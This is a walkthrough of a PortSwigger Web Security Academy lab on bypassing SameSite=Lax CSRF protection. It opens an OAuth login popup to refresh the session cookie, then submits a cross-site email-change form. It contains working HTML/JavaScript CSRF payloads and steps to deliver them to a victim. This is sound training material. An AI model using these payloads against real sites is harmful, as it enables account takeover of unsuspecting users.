[Modern browsers](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-cookie-refresh) using `SameSite=Lax` won’t send cookies on cross-site **POST requests** unless the cookie was **recently refreshed** (within ~2 minutes). You can bypass this by forcing the victim to visit an **OAuth login endpoint** (which sets a new cookie) in a popup, then **timing** a CSRF request immediately afterward. ##### Step 1: Understand the Flow 1. Log in via **social login** using: ``` wiener:peter ``` 2. Change your email at: ``` /my-account/change-email ``` 3. In **Burp Proxy → HTTP history**, locate: ``` POST /my-account/change-email ``` ➡ No CSRF token → vulnerable ➡ But protected by **SameSite=Lax** --- ##### Step 2: Confirm Lax Behavior 1. In `/oauth-callback?...`, observe: ```http Set-Cookie: session=... ← No SameSite flag → defaults to Lax ``` 2. Try this CSRF attack (on exploit server): ```html <script>history.pushState('', '', '/')</script> <form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="[email protected]" /> <input type="submit" /> </form> <script>document.forms[0].submit()</script> ``` ✅ If it’s been **less than 2 minutes** since your session cookie was set → **email changes** ❌ If **>2 minutes** → cookie is not sent on POST (due to SameSite=Lax) --- ##### Step 3: Trigger Session Cookie Refresh via OAuth - Visiting `/social-login` → refreshes session cookie via OAuth flow - It **doesn’t require interaction** if you're already logged in at the IdP (OAuth) --- ##### Step 4: Chain OAuth → CSRF Request Use this payload on the exploit server: ```html <form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="[email protected]"> </form> <p>Click anywhere on the page</p> <script> window.onclick = () => { window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login'); setTimeout(() => { document.forms[0].submit(); }, 5000); }; </script> ``` ✅ Why this works: - User **clicks anywhere** → satisfies popup blocker - OAuth popup opens → refreshes session cookie - 5s later → CSRF POST is made with **fresh cookie** --- ##### Step 5: Test + Deliver the Exploit 1. Test on yourself via **View exploit** 2. Confirm that `/my-account/change-email` is hit with a **session cookie** 3. Your email address should be updated 4. Now edit the payload to use a **new, unused** email: ```html <input type="hidden" name="email" value="[email protected]"> ``` 5. Store the payload 6. Click **Deliver to victim** ---- ### 🔐 SameSite=Lax = "No Cookies on Cross-Site POSTs" - **Cookies ARE sent** on: - Link clicks (`<a href>`) - Image loads (`<img>`) - Top-level **GET** requests - **Cookies are NOT sent** on: - Cross-site **POST** requests - Auto-submitted forms - JS `fetch()` / `axios` calls --- ### 2-Minute Rule (Chrome) - If the cookie was **just set** (last 2 min), Chrome will still send it — even for a cross-site POST. - That’s why **refreshing a session** right before a CSRF attack works. ---